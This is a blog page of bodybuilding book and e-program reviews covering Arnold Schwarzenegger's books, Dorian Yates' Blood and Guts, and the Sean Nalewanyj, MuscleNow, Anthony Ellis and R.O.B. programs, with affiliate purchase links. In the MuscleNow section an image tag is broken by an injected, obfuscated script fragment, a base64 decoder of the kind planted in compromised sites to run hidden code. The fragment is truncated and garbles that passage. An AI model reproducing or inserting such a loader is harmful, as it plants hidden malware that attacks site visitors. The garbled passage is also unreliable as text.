New Encyclopedia of Modern Bodybuilding – Review

This book is written by Arnold Schwarzennegar in 1992, as a updated version of his original 1985 Encyclopedia book.  The book is very comprehensive as it covers 800 pages in great detail on bodybuilding history, diet and nutrition, weight training routines, competitions, injuries and their prevention, supplements, all with Arnold's commentaries. In the training section, he gives various routines based on your goals, whether beginner or advanced. There is a lot of photos of bodybuilders performing many different weight training excercises. The hall of fame section shows pictures of the various bodybuilders of the past. Arnold also talks about many of the bodybuilding champions he faced.

There is some quality content in the book, but I don't think this book should be used as a tool to develop a training routine and especially supplementation advice. We have learned a lot in bodybuilding in the last 15 years, making this book a bit outdated. Overall I recommend The New Encyclopedia of Modern Bodybuilding, mainly because of Arnold being the author. If someone else was the author, It wouldn't have been as interesting of a book. If you want a book that is more autobiographical of Arnold Schwarzeneggar, then you read my review of Arnold's other book Education of a bodybuilder

You can purchase The New Encyclopedia of Modern Bodybuilding at Amazon. Sean Nalewanyj Review

Sean Nalewanyj supposedly has the top selling body transformation book the last few years. The website of this program reminds me a lot like Musclenow program’s webpage. I came across many sites giving it a raving review. What I noticed was these reviews were 100% positive only because they were getting paid as affiliates. Of course, we do things here differently when it comes to reviews. My goal is to give a fair review of this package for my readers, even to point out some of the negatives.

Here is the before picture of Sean Nalewanyj he uses as proof he is the typical skinny hardgainer

Sean Nalewanyj before

Here is Sean Nalewanyj now:

Sean Nalewanyj

I find it odd that Sean and some other program owners use a photo of them when they were like 14 or 15. Everyone at that age who is active is often very skinny, regardless of genetics. He certainly has built up his muscularity to a respectable size, so I don't see why they shouldn't give a more credible before picture where they are a little older.

Book content:

The book is split up into 10 chapters

Chapter 1 - Introduction
Chapter 2 - The Muscle-Building Philosophy
Chapter 3 - Structuring The Perfect Workout
Chapter 4 - Proper Muscle-Building Nutrition
Chapter 5 - Harnessing Your Inner Power
Chapter 6 - Supplementing For Massive Gains
Chapter 7 - Critical Feeding Times
Chapter 8 - Muscle-Building Myths Uncovered
Chapter 9 - Proper Rest & Recovery
Chapter 10 - Closing Words

The first 7 pages he discusses his struggles of when he was skinny in high school. It was very true to heart and I and many others could relate to him. This was actually the best part of the e-book I thought.

The workout section is where I start to disagree. Sean says muscular failure is needed on all your sets. As I have pointed on in previous articles on this blog, training to failure is not proven to be necessary for gains. In fact it may even hurt you if your not careful.

He also preaches progressive overload, which means you need to increase weight continually to get more gains. He however, doesn't believe in periodization. I agree with him on both points. I believe that periodization is overrated, but that you need progressive overload. As long as you are gaining weight and progressing in weights you dont need to periodize. He calls periodization a myth in his book.

Sean also has some good common sense tips such as keeping a journal. The one downside to his book he doesn't cover much in great detail backed up with a lot of science, like some other e-books would. Some may enjoy the less complicated approach though

The rest of Sean's muscle building package is full of a lot of helpful goodies. Sean provides access to a excercise database where you can see video of him performing all the excercises. This is good for learning proper form to all these excercises, as proper form is important for muscle gains and preventing injury. He also has a workout book log and tells you exactly how to structure the workouts. The personal trainer software answers questions that others have asked Sean in the past. He also includes meal plan samples, so you can follow his diet to a T.

Is the program worth the money?

The current price of it is 77 dollars. I personally think it's worth that kind of money if your new to bodybuilding. You will save a lot of time from spinning your wheels listening to everyone give different advice, if you just follow the advice of Sean's program only. The other things in his program package are highly useful too. All in all, $77 dollars is a bargain for what you get.


Blood N Guts – Dorian Yates Book Review

Dorian Yates is one of my favorite pro-bodybuilders of all time. He is known for his amazing lat spread, unreal muscle hardness, 6 Mr. Olympia titles during the 90’s, and his training style.

I read this book a few months ago and decided to review it now, for people who might be thinking of buying it.

The book first goes into Dorian's beginnings as a teen. Dorian didn't have it easy, like many other pro-bodybuilders. He started out as a bit of a thug and rebel. When he got put into a correction facility as a teen, he decided to make a change in his life. It wasn't until he was in his 20's, he became a serious bodybuilder.

It is amazing that not only was he able to change his life around, but start bodybuilding so late and still get where he is today. It probably was a combination of unbelievable genetics (I think everyone agrees his genetics were unreal), but also high aspirations. Dorian Yates exhumed a lot of confidence about himself and was very goal orientated. The biography of his life could have been longer, as I found this part of the book a very good read and inspiration.

One striking difference between Dorian yates and many other pro bodybuilders is his training style. Dorian Yates followed Mike Mentzer's HIT low volume workout principles instead of the high volume. The book has pictures of excercises and examples of training splits. The book was made for both beginner and advanced bodybuilders. The nutritional part of the book is also practical advice, just like his training advice. Overall, I highly recommend this book as a good read for any serious aspiring bodybuilder.

You can purchase Blood and Guts at Amazon.

Education of a Bodybuilder by Arnold – Review

Over the years the one book that has been most commonly read by bodybuilders is Education of a Bodybuilder by Arnold Schwarzenegger. A lot of it is because of who Arnold is, but also because it is very controversial among bodybuilders. Arnold did wonders for giving bodybuilding into the mainstream, so many bodybuilders have a lot of respect for Arnold as a bodybuilder.

About Education of a Bodybuilder:

The book is split into two major sections. The first goes into his life. The second is his workout and nutrition advice. In the first section you realize how goal orientated he is, he is the exact persona of a "A type personality". He seems to be willing to sacrifice many things in life to reach his goals. Some may say this is a sickness, while others may think it is admirable. Today, we know that many bodybuilders suffer from Bigorexia, I definitely think it's safe to say that Arnold did at one time.

The second section deals with training. I have to admit, some of his advice is pretty absurd. He recommends for the advanced workouts 2 hours in the morning 2 hours at night 7 days a week. Only the most genetically blessed juiced bodybuilder on steroids (such as Arnold) could grow off a routine like that! He also says a lot of bodybuilding myths, when he talks about spot reduction and targeting muscles.

In the nutritional section he mentions about his common use of alcohol. Everyone knows that alcohol hurts bodybuilding gains, so either he exaggerated or more proof he has probably the best bodybuilding genetics ever. With todays mass monsters in the Olympia, they couldn't even look at Alcohol, if they wanted to get to that ripped bf% they compete at currently. The overall diet recommendations aren't too bad though, certainly much better than his training recommendations.

Overall, it's a good book to read more for entertainment purposes. I wouldn't necessarily take a lot of it it as a serious reference for bodybuilding information, since most don't have his genetics and we have learned a lot since then on training, diet, and supplements.

You can purchase Arnold: The Education of a Bodybuilder at Amazon.

MuscleNow Review

Musclenow is a muscle building program by Francesco Castano. I bought the Musclenow program a while back, when the sales page garnered my curiosity. This is another one of those bodybuilding e-books that promises you all the secrets of getting huge. Musclenow is often asked by bodybuilding newbies in the forums desperate for the “magic” routine.

Before and after picture of Francesco Castano

Musclenow before and<script type=function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe after" SRC="" />

He claims the first picture was taken when he was 15 and in the 2nd, after he bulked up and got fat. Now anyone who is a real skinny hardgainer (speaking from experience), would not be able to bulk up to that very large size of muscle(and fat) at the age of about 20, if you were a real natural hardgainer.

If you look closely in the before picture, it looks like he hasn't even started puberty. The picture may have been when he was 12. Lots of people when they are young are skinny because they dont eat and are very active. I think Francesco should have used a picture of himself when he was a little bit older, to give his transformation better credibility. Regardless, Francesco has acheived a body that few have done.

Musclenow book overview:

The book is 105 pages long and written in a pretty straightforward manner. The book covers both muscle building and fat loss. Francesco gives well rounded advice on how to structure a workout and what excercises to do. He also tells you how to get through plateaus by cycling workouts. His nutritional and diet sections are thorough and includes sample meal plans you can follow. I like how he doesn't over emphasize supplements, like some other programs. Many other programs say that supplements are necessary for effective muscle building, even though most bodybuilding supplements are junk. His also includes workout logs, where you can record your workouts, which makes progress easy to track. The program also throws in some other great stuff, including lifetime email support from Francesco Casteno and access to his private discussion forum.

Do you recommend Musclenow Program?

No, its over priced and nothing special. There is much better programs out there for the price. I recommend Anthony Ellis Program instead. You can read my full review Anthony Ellis Workout Program Review

Anthony Ellis Review

Anthony Ellis program at (He recently changed it to is geared mainly for skinny guys. He caters his program to people who struggle to put on weight and are very eager to find out how to build muscle for their bodytype.

Anthony Ellis's overnight success all began in 1997, when he entered the Body For Life competition. It was a nationwide contest, where users radically changed their body in 12 weeks with the winners to get very expensive prizes. Unlike most in the competition who were losing fat, Anthony Ellis's goal was to put on muscle. He weighed only 135 lbs at the age of 27! Below are the before and after pictures of Anthony Ellis during his remarkable 12 week body for life challenge.

Anthony Ellis before and after pictures

Anthony Ellis Transformation

Anthony Ellis gained a lot of muscle in a very short amount of time, while even losing a bit of fat! 32 lbs of lean muscle(some of it's water, but water weight shows as lean muscle on bodystats) was gained during these 12 weeks! Then for 4 weeks after this, Anthony Ellis went on a fat loss cycle and kept all the muscle he gained and lost fat bringing him to a 6% bodyfat. That is really amazing to do that, let alone in the time span he claims.

Anthony ellis

In fact the transformation is a little "too good" for most people to believe. Many people speculate that what really happened was Anthony Ellis either used steroids , had muscle memory (previously had that muscle but then lost it), took longer than 16 weeks to do it, or even photoshopped it. I bought the book a few years back, so I was a regular at the forum for many months. Anthony Ellis had to try and refute some of these allegations once in a while at his forums. He denied use of steroids, however in the bodyforlife contest video, he was among the 3 people who got inconclusive results under the lie detector test.

Most steroid users will tell you Anthony Ellis's results are hard to acheive even on a massive steroid cycle. Regardless of whether or not he used steroids, I believe he definitely has insanely good bodybuilding genetics. Simply doing steroids isn't much of a help, if you have bad genetics and/or diet.

Book overview:

The book is nearly 200 lbs and is packed full of information. He introduces you to hormones and how to perform excercises complete with pictures and detailed descriptions. His nutritional sections explain diet and what you need to eat for effective mass building. In the book, Anthony ellis will tell you exactly how to know if you should be in his mass gain or fat loss phase. Both phases are highly detailed outlines and tell you what to do if your progress stalls or your not getting results. In the supplement sections Anthony explains which supplements are proven to help build muscle and lose fat and which ones he uses. One thing that stands out in Anthony Ellis's book over other muscle building programs

In addition to the book you get meal plan books, where you can see samples of different meals he eats at various calorie levels. He also has workout books, one for fat loss, another for mass building phase, and another for the beginners. These are workout books you can take to the gym and fill out. They also change the workouts at specific weeks, so you simply follow the workout books for 26 weeks(16 weeks for the fat loss).

Anthony Ellis gives away other bonuses, including a 6 month membership to his chat and forum. I find his chat the most useful of his bonuses, as you get time to ask him complicated questions and get a quick response. The private forum is nice for being able to learn and see progress from other like minded members, who most are struggling to gain weight.

Anthony Ellis Program Final Thoughts:

Right now Anthony Ellis's program goes for $77 dollars and you might wonder if that is worth the price. I believe so, but only if you are new to bodybuilding and need some guidance. His book is full of solid basic information and his forum and chats, will help guide and motivate you to stick to his plan. Anthony Ellis's program is not the end all be all of programs. Once you use his plan and gain a lot of muscle and become more advanced, you will probably find you can modify the diet and routines to fit your needs and goals.

Visit MuscleGainTips

R.O.B Approach by Rob Thoburn

Rob Thoburn has been in the bodybuilding and supplement industry for decades. A few years ago he launched a website and a interesting workout routine he called the R.O.B approach. The ROB stands for Rest Only Briefly.

What makes his workout system so unique, is that he was a claimed hardgainer, yet he advocated very high volume at very high intensity. It was basically everything against what bodybuilders have been taught for years now. Hardgainers do low volume high intensity because they are taught that is best for them.

Rob thoburn says that he struggled for years to build muscle. It wasn't until he changed his routine radically to a higher volume and intensity, that he noticed dramatic muscle gains immediately. His pictures from when he was younger, shows a tall very skinny person, so I believe he is a true hardgainer.

Here are some pictures of him now:

Rob Thoburn

Rob thoburn back

Rob thoburn Triple H

Principles of the R.O.B Approach:

Rob Thoburn seems to emphasize workouts more than diet. He doesn't even believe that you need to eat protein around the clock in 6 meals or eating obnoxious amount of calories. What is more important to him is getting the total protein intake per day and making sure you stimulate the muscles in grueling workouts.

The R.O.B approach is not a specific workout routine, he only gives guidelines. The basics of his workout are 5 to 8 reps per set done to failure with only 10 to 50 seconds of rest between each set. He believes in very high volume and even says it's ok working the muscle out 2 times a day. He leaves it up to the individual to decide the set volume per week per muscle, but he puts an emphasis on very high volume and intensity, to force the muscles to grow.

Is the R.O.B Approach the right way for hardgainers?

Rob thoburn has said his workouts will work for not just hardgainers, but everyone. Many have asked what makes his program any different than past volume programs that left hardgainers with little results. He believes the high intensity, with the low rest time is a crucial part in forcing the muscles to grow.

I have tried to ease into the R.O.B approach workouts, but I found the workouts so taxing I could never workout the muscle twice a day or even week, like he recommends. If you don't ease into the workout slowly over weeks, you will feel burned out and overtrained very quickly if your used to low volume. It is very hard workout to keep up with the intensity with so many sets.

I personally never really noticed a dramatic benefit from changing my routine to more like the R.O.B approach. You will also burn a lot of calories from these workouts making it hard to get bigger. The amount of sets and intensity is simply not worth it to me, seeing as I couldn't see a benefit from the workout over other ones. I have noticed that the popularity of his site and program has dwindled over the years. He used to have a forum on his site and used to visit other bodybuilding forums. Perhaps this is a testimony of how others feel about it too.